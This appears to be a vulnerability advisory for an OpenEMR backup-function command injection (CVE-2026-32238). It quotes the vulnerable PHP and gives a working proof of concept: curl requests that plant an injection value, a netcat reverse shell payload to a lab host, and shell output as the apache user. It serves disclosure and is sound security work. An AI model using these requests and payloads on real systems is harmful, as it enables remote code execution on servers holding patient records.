Lucene search
K

📄 OpenEMR Remote Code Execution

🗓️ 20 Mar 2026 00:00:00Reported by Christophe SUBLETType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 147 Views

Authenticated OpenEMR command injection in backups allows remote code execution via unescaped user IDs.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-32238
19 Mar 202619:30
attackerkb
Circl
CVE-2026-32238
19 Mar 202619:16
circl
CNNVD
OpenEMR 操作系统命令注入漏洞
19 Mar 202600:00
cnnvd
CVE
CVE-2026-32238
19 Mar 202619:30
cve
Cvelist
CVE-2026-32238 OpenEMR has Remote Code Execution in backup functionality
19 Mar 202619:30
cvelist
EUVD
EUVD-2026-13158
19 Mar 202619:30
euvd
NVD
CVE-2026-32238
19 Mar 202620:16
nvd
OSV
CVE-2026-32238 OpenEMR has Remote Code Execution in backup functionality
19 Mar 202619:30
osv
Packet Storm
📄 OpenEMR 8.0.0.2 Remote Code Execution
20 Apr 202600:00
packetstorm
Positive Technologies
PT-2026-26288
19 Mar 202600:00
ptsecurity
Rows per page
# CVE-2026-32238 - Remote Code Execution in OpenEMR <8.0.0.2
    
    >  Weakness CWE-78 : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
    >> The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
    
    ### Summary
    
    OpenEMR <8.0.0.1 contains multiples Command injection vulnerabilities in the backup functionality that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the backup functionality.
    
    ### Details
    
    The vulnerability occurs in the backup functionality where multiples *ID* are SQL escaped in a SQL statement embedded within the OS command but not shell-escaped.  
    Those *ID* values are *trusted* after verifying that the user-supplied inputs exists in the database.  
    User can insert any value in those SQL *ID* columns concatenate to the shell command.  
    Summary: Certain shell commands concatenate user-supplied input without proper sanitization, which may lead to command injection vulnerabilities. This allows attackers to inject malicious OS shell commands.
    
    The vulnerability affects the following lines:
    
     - `interface/main/backup.php` [lines 775, 776, 784, 786, 788 and 789](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L775) vulnerabilities
         - `interface/main/backup.php` [line 768](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L768), check value exists.
         - `interface/main/backup.php` [line 763](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L763), check value do not contains *backtick*.
         - `interface/main/backup.php` [line 761](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L761), loop for each values.
         - `interface/main/backup.php` [line 742](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L742), get values from POST data.
     - `interface/main/backup.php` [line 816, 818, 822, 824, 828, 831, 835 and 838](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L816) vulnerabilities
         - `interface/main/backup.php` [line 807 and 808](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L807), check value exists.
         - `interface/main/backup.php` [line 802](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L802), check value do not contains *backtick*.
         - `interface/main/backup.php` [line 800](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L800), loop for each values from POST data.
    
    To exploit those vulnerabilites the payload should be stored in: `list_options.option_id`, `list_options.list_id`, `layout_options.form_id` or `layout_group_properties.grp_form_id`.
    
    ```php
            if (!empty($form_sel_lists)) {
                foreach ($form_sel_lists as $listid) {
                    if (str_contains((string) $listid, '`')) {
                        continue;
                    }
                    $listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]);
                    if (empty($listid_check['list_id'])) {
                        continue;
                    }
                    if (IS_WINDOWS) {
                        $cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
                        $cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
                        $cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " .
                            "ORDER BY list_id != 'lists', seq, title\" " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " list_options";
                        $cmd .=  " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    } else {
                        $cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" .
                            add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
                            "echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" .
                            add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
                            $dumppfx . " --where='list_id = \"lists\" AND option_id = \"" .
                            add_escape_custom($listid) . "\" OR list_id = \"" .
                            add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " list_options" .
                            " >> " . escapeshellarg($EXPORT_FILE) . ";";
                    }
                }
            }
    
            if (is_array($_POST['form_sel_layouts'] ?? '')) {
                $do_history_repair = false;
                $do_demographics_repair = false;
                foreach ($_POST['form_sel_layouts'] as $layoutid) {
                    if (str_contains((string) $layoutid, '`')) {
                        continue;
                    }
                    $layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]);
                    $layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]);
                    if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) {
                        continue;
                    }
                    if (IS_WINDOWS) {
                        $cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    } else {
                        $cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
                    }
                    if (IS_WINDOWS) {
                        $cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;";
                    } else {
                        $cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
                    }
                    if (IS_WINDOWS) {
                        $cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
                        $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                        $cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" '  .
                            escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
                        $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    } else {
                        $cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
                        $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
                        $cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
                        $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
                    }
                    if (str_starts_with((string) $layoutid, 'HIS')) {
                        $do_history_repair = true;
                    }
                    if (str_starts_with((string) $layoutid, 'DEM')) {
                        $do_demographics_repair = true;
                    }
                }
    ```
    
    ```sh
    echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "<injection>";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "<injection>";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='grp_form_id = "<injection>"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='form_id = "<injection>" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
    ```
    
    #### Permissions
    
    ```php
    if (!AclMain::aclCheckCore('admin', 'super')) {
        echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]);
        exit;
    }
    ```
    
    ### PoC
    
    For this POC i use the `layout_group_properties.grp_form_id` column:
    
    1. Insert the payload in `layout_group_properties.grp_form_id`
    2. Call backup functionality using the same payload
    
    ```
    ┌──(kali㉿kali)-[~]
    └─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php'
    
    ┌──(kali㉿kali)-[~]
    └─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php'
    
    ┌──(kali㉿kali)-[~]
    └─$ 
    ```
    
    #### Database
    
    ```
    MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties;
    +--------------------------------+--------------+
    | grp_form_id                    | grp_group_id |
    +--------------------------------+--------------+
    | DEM                            |              |
    | DEM                            | 1            |
    | DEM                            | 2            |
    | DEM                            | 3            |
    | DEM                            | 4            |
    | DEM                            | 5            |
    | DEM                            | 6            |
    | DEM                            | 8            |
    | FACUSR                         |              |
    | FACUSR                         | 1            |
    | HIS                            |              |
    | HIS                            | 1            |
    | HIS                            | 2            |
    | HIS                            | 3            |
    | HIS                            | 4            |
    | HIS                            | 5            |
    | LBF"';nc 172.18.0.1 21 -e sh # | 11           |
    | LBTbill                        |              |
    | LBTbill                        | 1            |
    | LBTlegal                       |              |
    | LBTlegal                       | 1            |
    | LBTphreq                       |              |
    | LBTphreq                       | 1            |
    | LBTptreq                       |              |
    | LBTptreq                       | 1            |
    | LBTref                         |              |
    | LBTref                         | 1            |
    | LBTref                         | 2            |
    +--------------------------------+--------------+
    28 rows in set (0.003 sec)
    
    MariaDB [openemr]> 
    ```
    
    #### Reverse shell payload
    
    ```sh
    nc 172.18.0.1 21 -e sh
    ```
    
    ##### Injection
    
    ```
    LBF"';nc 172.18.0.1 21 -e sh #
    ```
    
    ##### Final
    
    ```sh
    echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
    ```
    
    ##### Tools
    
    I don't know if netcat (`nc`) is required but it's installed by default in the docker container (it's very usefull for this exploit).
    
    ##### User and current directory
    
    ```
    ┌──(root㉿kali)-[/home/kali]
    └─# nc -lvnp 21 
    listening on [any] 21 ...
    connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041
    whoami
    apache
    id
    uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
    pwd
    /var/www/localhost/htdocs/openemr/interface/main
    ```
    
    ### Impact
    
     - Server-side code execution
    
    ### Vulnerability Fix Process
    
    1. Assess and validate the vulnerability
    2. Request or assign a CVE ID
    3. Create a private fork or private branch
    4. Develop the fix
    5. Write regression and security tests
    6. Prepare release notes and security advisory draft
    7. Publish the fix (code merge) and release a patched version
    8. Publicly disclose the vulnerability
    
    ### Credits
    
     - Researcher: Christophe SUBLET
     - Organization: Grenoble INP - Esisar, UGA
     - Project: CyberSkills, Orion

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.1
EPSS0.01889
SSVC
147